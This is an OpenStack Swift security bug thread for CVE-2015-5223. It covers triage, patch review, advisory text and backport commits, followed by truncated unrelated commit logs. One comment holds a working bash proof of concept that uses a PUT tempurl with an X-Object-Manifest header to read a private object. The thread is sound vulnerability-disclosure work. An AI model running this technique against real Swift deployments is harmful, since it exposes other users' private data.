[OSSA 2015-016] all PUT tempurls leak existence via DLO manifest attack (CVE-2015-5223)

I have a feeling this might be a significant enough behavior change (breaking a workflow which application developers might already have encoded into their software) that we wouldn't be able to safely backport it without having it as an optional mitigation that defaults to the original behavior. Then deployers can choose explicitly to disallow PUT DLO's via tempurl in their environments without forcing it on all deployments consuming stable branches.

If we do end up making it configurable and leave the original behavior as the default, then this is territory for documenting in a security note not an advisory.

Can someone triage the swift bug ?

This looks like a type B* bug ( https://security.openstack.org/vmt-process.html#incident-report-taxonomy ).
Unless someone object, we'll subscribe ossg-coresec next Monday.

Tristan, this bug and https://bugs.launchpad.net/swift/+bug/1449212 are closely related and should only be disclosed at the same time.

I'm not sure if this is a class B1 or class A bug yet. I definitely think this needs to be fixed on master. If we do end up blocking DLOs with tempurls (or at least creating DLOs with tempurls), then we need to decide if it's better to leave old versions vulnerable or change their behavior with a security update. My default response is to fix the bug and backport it.

Alright, so if it's a class A, then we could update the impact description of bug 1449212 to cover both bug within the same advisory.

Else, then let's get OSSG on board for this one to work on a security note.

sorry, been busy - attached patch for review

Here's some bash that works on a swift-all-in-one to get you started:

    #!/bin/bash
    # resetswift
    set -e
    echo "password" > secret
    swift upload private secret
    swift post -H 'x-account-meta-temp-url-key: mykey'
    # create a container for people to upload stuff too
    swift post public
    # attacker: "yes hello, can I have a safe place to upload some of my data?"
    PUT_TEMPURL_SIG="$(swift tempurl PUT 60 /v1/AUTH_test/public/your-thing mykey)"
    curl -XPUT -H 'x-object-manifest: private/secret' "http://localhost:8080${PUT_TEMPURL_SIG}" -d ''
    # attacker: "oh yes, that data I just uploaded - can I download it please?"
    PUT_TEMPURL_SIG="$(swift tempurl GET 60 /v1/AUTH_test/public/your-thing mykey)"
    # attacker: only... it's not *MY* data - trolrolrololollolo
    echo ""
    echo "**************************************"
    curl "http://localhost:8080${PUT_TEMPURL_SIG}"
    echo ""
    echo "**************************************"

Looks like class A to me, not overly complicated to exploit given the right situation...

Clay, the patch looks fine except that I can't make the functests fail with patched or unpatched server code. I'm always getting a 201 for the object PUTs.

ah I think I forgot some else: self.fail('request did not error') sorta lines in there - nice catch! #willfix

@Clay

Here for you adding the self.fail to functional if manifest file upload succeeded.

Code looks good but just a question from me. Is this bug already defined as class A? If so, no problem to merge attached patch I guess.

However, if classified as B or so, I am wondering if we could take another option (or not? I'm not sure) that we can add 'x-object-manifest' to incoming_remove_headers at tempurl config as default. The way I'm now suggesting here allows to put object with 'x-object-manifest' header (will succeed as 201) but actually Swift will store the empty object w/o the header. The reason I talk about this is that currently Swift doesn't block similar uploading case for *SLO*. Note that SLO doesn't have security issue like this for now because tempurl PUT seems to drop "multipart-manifest=put" query. Therefore "blocking as 400" vs "Allowing to store but modified silently like SLO".

@Kota I want the explicit error because if someone is trying to make a dlo via tempurl they are either

a) trying to validate this security hole and they will know they are patched/hozed by the 400

b) trying to use this vulnerability as a make shift temporary-large-object-upload feature and should be told explicitly that we have broken this workflow because it was not safe and they will need to force us to implement some support for this use case (probably via for tempurl signatures in slo's FWIW).

I retested Kota's patch and I think the only thing that is missing is the Co-Author line ;)

@Clay That totally makes me sense and I agreed we should show the error explicitly. And thanks for adding me to the co-author line :)

@Clay, the patch in #12 looks good.

Consider this my +2, which gives us 2 (from Kota's in #13).

We'll need to get backports here, and it looks like we don't have a CVE description yet. I'm not sure what the next step is there.

attached is the exact same patch (including commit message, date, and author) except formatted with `git format-patch` so that `git am <file.patch` will apply it cleanly.

I am working on backport patches for juno and kilo, but I still have a few unit test errors there.

backport for juno. This is based off of the proposed juno backport in https://review.openstack.org/#/q/Id179513c6010d827cbcbdda7692a920e29213bcb,n,z

backport for kilo. This is based off of the proposed juno backport in https://review.openstack.org/#/q/Id179513c6010d827cbcbdda7692a920e29213bcb,n,z

@notmyname, would it makes sense to solve both bug 1453948 and bug 1449212 with a single OSSA/CVE ? If so, would that updated impact description good enough to cover both cases ?

Title: Information leak via Swift tempurls
Reporter: Richard Hawkins (Rackspace)
Products: Swift
Affects: versions through 2.2.0, and 2.2.1 versions through 2.3.0

Description:
Richard Hawkins from Rackspace reported a vulnerability in Swift tempurls. When in possession of a tempurl key for a Swift container, a malicious actor may retrieve objects within any other containers for the same Swift account (tenant). All Swift setup are affected.

I'm +2 for the patch in #15

The tests do not cover POST requests. The fix does so there is no vulnerability with a POST but I think it would be worth adding a test to prevent a regression of the kind illustrated in the attached diff (diff wrt patch from #15). I can propose that to master after this fix is released.

FWIW Here's a suggested diff wrt patch at #15 for extra test coverage of POSTs. But I repeat I am +2 for merging patch at #15 as it is and following up with the extra tests.

Updated report description:

Title: Information leak via Swift tempurls
Reporter: Richard Hawkins and Swift core reviewers
Products: Swift
Affects: versions through 2.3.0

Description:
Richard Hawkins and Swift core reviewers reported a vulnerability in Swift tempurls. When in possession of a tempurl key authorized for PUT, a malicious actor may retrieve other objects in the same Swift account (tenant). All Swift setup are affected.

Thanks John.

Adding affiliation back to description:

Title: Information leak via Swift tempurls
Reporter: Richard Hawkins (Rackspace) and Swift core reviewers
Products: Swift
Affects: versions through 2.3.0

Description:
Richard Hawkins from Rackspace and Swift core reviewers reported a vulnerability in Swift tempurls. When in possession of a tempurl key authorized for PUT, a malicious actor may retrieve other objects in the same Swift account (tenant). All Swift setup are affected.

As for the required patchs to fix the bug describe above:

master/liberty: bug 1453948 comment #15, bug 1449212 comment #85
stable/kilo: bug 1453948 comment #17, bug 1449212 comment #90
stable/juno: bug 1453948 comment #16

Seems like all the patch have now been pre-approved. Should we requests a CVE with description in comment #22 and set this disclosure date:
2015-08-25, 1500UTC

The impact description in comment #22 looks fine, though I'd say "all Swift setups" rather than "all Swift setup" (minor grammar nit).

I'm good with the proposed Tuesday, August 25 disclosure, since that gives ample time for us to notify downstream stakeholders. As a reminder, this is intended to cover bugs 1453948 and 1449212.

looks good

Disclosure date (extended by one day):
2015-08-26, 1500UTC

Fix proposed to branch: stable/kilo
Review: https://review.openstack.org/217254

Related fix proposed to branch: master
Review: https://review.openstack.org/217273

Reviewed: https://review.openstack.org/217253
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=0694e1911d10a18075ff99462c96781372422b2c
Submitter: Jenkins
Branch: stable/juno

commit 0694e1911d10a18075ff99462c96781372422b2c
Author: Clay Gerrard <email address hidden>
Date: Thu Jul 23 22:36:21 2015 -0700

    Disallow unsafe tempurl operations to point to unauthorized data

    Do not allow PUT tempurls to create pointers to other data. Specifically
    disallow the creation of DLO object manifests by returning an error if a
    non-safe tempurl request includes an X-Object-Manifest header regardless of
    the value of the header.

    This prevents discoverability attacks which can use any PUT tempurl to probe
    for private data by creating a DLO object manifest and then using the PUT
    tempurl to head the object which would 404 if the prefix does not match any
    object data or form a valid DLO HEAD response if it does.

    This also prevents a tricky and potentially unexpected consequence of PUT
    tempurls which would make it unsafe to allow a user to download objects
    created by tempurl (even if they just created them) because the result of
    reading the object created via tempurl may not be the data which was uploaded.

    [CVE-2015-5223]

    Co-Authored-By: Kota Tsuyuzaki <email address hidden>

    Closes-Bug: 1453948

    Change-Id: I91161dfb0f089c3990aca1b4255b520299ef73c8

Reviewed: https://review.openstack.org/217259
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=10b2939b433a4a79b4f7b97640b3d208cacfeffb
Submitter: Jenkins
Branch: master

commit 10b2939b433a4a79b4f7b97640b3d208cacfeffb
Author: Clay Gerrard <email address hidden>
Date: Thu Jul 23 22:36:21 2015 -0700

    Disallow unsafe tempurl operations to point to unauthorized data

    Do not allow PUT tempurls to create pointers to other data. Specifically
    disallow the creation of DLO object manifests by returning an error if a
    non-safe tempurl request includes an X-Object-Manifest header regardless of
    the value of the header.

    This prevents discoverability attacks which can use any PUT tempurl to probe
    for private data by creating a DLO object manifest and then using the PUT
    tempurl to head the object which would 404 if the prefix does not match any
    object data or form a valid DLO HEAD response if it does.

    This also prevents a tricky and potentially unexpected consequence of PUT
    tempurls which would make it unsafe to allow a user to download objects
    created by tempurl (even if they just created them) because the result of
    reading the object created via tempurl may not be the data which was uploaded.

    [CVE-2015-5223]

    Co-Authored-By: Kota Tsuyuzaki <email address hidden>

    Change-Id: I11e68830009d3f6bff44ae4011a41b67139146f6
    Closes-Bug: 1453948

Reviewed: https://review.openstack.org/217254
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=410778b86a49702f80b734bdbf2480b86db342e2
Submitter: Jenkins
Branch: stable/kilo

commit 410778b86a49702f80b734bdbf2480b86db342e2
Author: Clay Gerrard <email address hidden>
Date: Thu Jul 23 22:36:21 2015 -0700

    Disallow unsafe tempurl operations to point to unauthorized data

    Do not allow PUT tempurls to create pointers to other data. Specifically
    disallow the creation of DLO object manifests by returning an error if a
    non-safe tempurl request includes an X-Object-Manifest header regardless of
    the value of the header.

    This prevents discoverability attacks which can use any PUT tempurl to probe
    for private data by creating a DLO object manifest and then using the PUT
    tempurl to head the object which would 404 if the prefix does not match any
    object data or form a valid DLO HEAD response if it does.

    This also prevents a tricky and potentially unexpected consequence of PUT
    tempurls which would make it unsafe to allow a user to download objects
    created by tempurl (even if they just created them) because the result of
    reading the object created via tempurl may not be the data which was uploaded.

    [CVE-2015-5223]

    Co-Authored-By: Kota Tsuyuzaki <email address hidden>

    Closes-Bug: 1453948

    Change-Id: I91161dfb0f089c3990aca1b4255b520299ef73c8

Fix proposed to branch: feature/crypto
Review: https://review.openstack.org/219775

Reviewed: https://review.openstack.org/217273
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=58a10a5fffec69304d7bcce0f1c43bd2a9f9ff52
Submitter: Jenkins
Branch: master

commit 58a10a5fffec69304d7bcce0f1c43bd2a9f9ff52
Author: Alistair Coles <email address hidden>
Date: Wed Aug 26 16:30:23 2015 +0100

    Add test that a tempurl POST cannot set a DLO manifest header

    Follow up to [1] to add tests for tempurl POSTs not being allowed
    to set a DLO manifest header.

    [1] I11e68830009d3f6bff44ae4011a41b67139146f6

    Change-Id: I7c0ad5a936f71e56c599b8495a586913d3334422
    Related-Bug: 1453948

Reviewed: https://review.openstack.org/219775
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=257e468e9bfd1088040419ad408106ac3c77b531
Submitter: Jenkins
Branch: feature/crypto

commit e02609c66a804845672413b06830b87395afef31
Author: Samuel Merritt <email address hidden>
Date: Tue Sep 1 15:19:50 2015 -0700

    Preserve traceback in swift-dispersion-report

    Commit c690bcb fixed a bug in the dispersion report, but changed this
    from a bare "raise" to "raise err", which loses the traceback. Not a
    big deal, but worth putting back IMO.

    Change-Id: Id5b72153a4b8df8e3faaf1fa3fb2040e28ba85cc

commit d06d4ad0fd2dfe69da8008e729651264522c6c06
Author: Minwoo Bae <email address hidden>
Date: Tue Sep 1 15:08:44 2015 -0500

    Included reference in swift.obj.diskfile to enumerate the string
    used for data file paths.

    Change-Id: Ie22caa678bc00dfc43fabec7efbbb9f34490f1b5

commit 524c89b7eeff037b8a6b421888771e15f98c2da2
Author: John Dickinson <email address hidden>
Date: Fri Aug 21 13:39:41 2015 -0700

    Updated CHANGELOG, AUTHORS, and .mailmap for 2.4.0 release.

    Change-Id: Ic6301146b839c9921bb85c4f4c1e585c9ab66661

commit 05de1305a903ee4ce9c8c50fde53c552d5b90d51
Author: Clay Gerrard <email address hidden>
Date: Thu Aug 27 18:35:09 2015 -0700

    Make ssync_sender send valid chunked requests

    The connect method of ssync_sender tells the remote connection that it's
    going to send a valid HTTP chunked request, but if the remote end needs
    to respond with an error of any kind sender throws HTTP right out the
    window, picks up his ball, and closes the socket down hard - much to the
    surprise of the eventlet.wsgi server who up to this point had been
    playing along quite nicely with this 'SSYNC' nonsense assuming that
    everyone here is consenting mature adults.

    If you're going to make a "Transfer-Encoding: chunked" request have the
    good decency to finish the job with a proper '0\r\n\r\n'. [1]

    N.B. It might be possible to handle an error status during the
    initialize_request phase with some sort of 100-continue support, but
    honestly it's not entirely clear to me when the server isn't going to
    close the connection if the client is still expected to send the body
    [2] - further if the error comes later during missing_check or updates
    we'll for sure want to send the chunk transfer termination line before
    we close down the socket and this way we cover both.

    1. Really, eventlet.wsgi shouldn't be so blasted brittle about this [3]
    2. https://lists.w3.org/Archives/Public/ietf-http-wg/2005AprJun/0007.html
    3. https://github.com/eventlet/eventlet/commit/c3ce3eef0b4d0dfdbfb1ec0186d4bb204fb8ecd5

    Closes-Bug #1489587
    Change-Id: Ic17c6c3075553f8cf6ef6213e62a00282f0d01cf

commit 993ee4e37af1961adba2047d5aa2eb210e423eb3
Author: nakagawamsa <email address hidden>
Date: Fri Aug 28 11:49:43 2015 +0900

    Remove duplicate X-Backend-Storage-Policy-Index key

    There is duplicate 'X-Backend-Storage-Policy-Index' dictionary key in unit.obj.test_server.py.
    One key has fixed policy index value, and another ha...

Related fix proposed to branch: feature/hummingbird
Review: https://review.openstack.org/221410

Reviewed: https://review.openstack.org/221410
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=eb8f1f83f1cfc63d8452bc30096fd1c145781527
Submitter: Jenkins
Branch: feature/hummingbird

commit cb683d391cb66d0f52830de16760c80fd2afedf9
Author: OpenStack Proposal Bot <email address hidden>
Date: Sat Sep 5 06:17:51 2015 +0000

    Imported Translations from Transifex

    For more information about this automatic import see:
    https://wiki.openstack.org/wiki/Translations/Infrastructure

    Change-Id: I2d92b8e34a665fb0bb4c048cfb0c59de295dfce6

commit e4542455c8a07b7981c247df8b737816062c1655
Author: Emett Speer <email address hidden>
Date: Wed Sep 2 17:18:03 2015 -0700

    [Labs] Update links to Cloud Admin Guide

    Update links to the Cloud Admin Guide after the
    RST conversion of that book altered URLs.

    Change-Id: I899f8938498b744e62887968a65e58c00ef27f1b

commit 58fcc07523978306cd3889ada73af5d9e664cf59
Author: Christian Schwede <email address hidden>
Date: Wed Sep 2 10:52:34 2015 +0000

    Test if container_sweep is executed on unmounted devices

    This change ensures that container_sweep is not run if a device is not mounted
    and mount_check is set to True.

    Change-Id: I823083c8431d9e61fd426508033ec9188503957b

commit e02609c66a804845672413b06830b87395afef31
Author: Samuel Merritt <email address hidden>
Date: Tue Sep 1 15:19:50 2015 -0700

    Preserve traceback in swift-dispersion-report

    Commit c690bcb fixed a bug in the dispersion report, but changed this
    from a bare "raise" to "raise err", which loses the traceback. Not a
    big deal, but worth putting back IMO.

    Change-Id: Id5b72153a4b8df8e3faaf1fa3fb2040e28ba85cc

commit d06d4ad0fd2dfe69da8008e729651264522c6c06
Author: Minwoo Bae <email address hidden>
Date: Tue Sep 1 15:08:44 2015 -0500

    Included reference in swift.obj.diskfile to enumerate the string
    used for data file paths.

    Change-Id: Ie22caa678bc00dfc43fabec7efbbb9f34490f1b5

commit 615c7a204b9386e05c5bab658bfe96766ad1e680
Author: Brian Cline <email address hidden>
Date: Tue Sep 1 10:51:20 2015 -0500

    Adds useful dispersion info from changelog

    Change-Id: I1a45088fc32620b02ff9a754b02ec1eb75a59d6e

commit 3b8755098a1786c5447abf158bd686293a82977c
Author: janonymous <email address hidden>
Date: Sun Aug 2 21:29:13 2015 +0530

    Replace a / b with a // b to use integer division where needed

    Change-Id: I72c81faa62786e140b0de00e3a04934bf1b5adbd

commit 524c89b7eeff037b8a6b421888771e15f98c2da2
Author: John Dickinson <email address hidden>
Date: Fri Aug 21 13:39:41 2015 -0700

    Updated CHANGELOG, AUTHORS, and .mailmap for 2.4.0 release.

    Change-Id: Ic6301146b839c9921bb85c4f4c1e585c9ab66661

commit 05de1305a903ee4ce9c8c50fde53c552d5b90d51
Author: Clay Gerrard <email address hidden>
Date: Thu Aug 27 18:35:09 2015 -0700

    Make ssync_sender send valid chunked requests

    The connect method of ssync_sender tells the remote connection that it's
    going to send a valid HTTP chunked request, but if the remote end needs
    to respond with an error of any kind sender th...

Related fix proposed to branch: feature/crypto
Review: https://review.openstack.org/225540

Change abandoned by John Dickinson (<email address hidden>) on branch: feature/crypto
Review: https://review.openstack.org/225540
Reason: jrichli will do this

Reviewed: https://review.openstack.org/225540
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=1936299943116abcedd8b36fb8b64c724e539ab7
Submitter: Jenkins
Branch: feature/crypto

commit 9e95613d717489da584531e220db20d1b8f43c51
Author: Alistair Coles <email address hidden>
Date: Mon Sep 21 10:01:54 2015 +0100

    Fix .coveragrc to prevent nose tests error

    Since v4.0 the coverage package raises an error if unrecognized
    options are found in .coveragrc [1]. Previously they were ignored. The
    ignore-errors option therefore causes nosetests with coverage to error
    because the option should be ignore_errors (underscore not hyphen).

    [1] https://bitbucket.org/ned/coveragepy/src/tip/CHANGES.rst

    Change-Id: Ic488801b7cc43217f9e2a4ed945e06505b667608

commit 1fe8e4327b15f8933efef185d09b6067d1f28716
Author: Clay Gerrard <email address hidden>
Date: Fri Sep 18 13:54:52 2015 -0700

    Fix recon tests on SAIO with multiple policies

    Recon middleware used to only look on rings that exist on disk when it was
    started, so if a test didn't create a ring in the temp swift_dir it can expect
    the middleware to not report it.

    However, after we started looking at policies to determine rings [1] - we need
    to be more careful to patch policies to match up with the test requirements.
    On development environments with only the legacy default polices the existing
    recon tests were passing by accident - but not in my environment.

    This change will patch policies for the TestCase so that tests will pass for
    me. Individual test methods that have more specific policy requirements for
    the test can continue to @patch_policies just for those tests but in general
    the existing test_methods all seem to expect legacy policies - so we just make
    the default for the TestCase legacy_only.

    Change-Id: I778a0a59091ca8870e1cab985f3ec426eb045ab7

commit a63f70c17d392379ec75045a94c38a96878b4c5c
Author: Minwoo Bae <email address hidden>
Date: Wed Sep 9 15:33:45 2015 -0500

    Reconstructor logging to omit 404 warnings

    Currently, the replicator does not log warning messages
    for 404 responses. We would like the reconstructor to
    do the same, as 404s are not considered unusual, and
    are already handled by the object server.

    Change-Id: Ia927bf30362548832e9f451923ff94053e11b758
    Closes-Bug: #1491883

commit 530102ae07ea27b4a994e4b1fb2f590700cfef0c
Author: Bill Huber <email address hidden>
Date: Mon Sep 14 16:01:39 2015 -0500

    Update EC Support on how to build an EC ring with replicas count

    This doc is being updated to specify the replicas count parameter
    to build an EC ring that enforces both data and parity placements
    for each partition.

    Change-Id: I770ad268e4017e610be3357e89b89f0b7d3c18af
    Closes-Bug: 1487203

commit 0d9142abd45f189b15eaec1a25464ed7d1859f97
Author: Clay Gerrard <email address hidden>
Date: Mon Sep 14 17:17:29 2015 -0700

    Fix typo in Deployment Guide and add some formatting

    Change-Id: I58703162bf3e9f39656a5e511bd8fe845793bca2

commit 460a7e4b64d134d1fd47f09924d594196b6...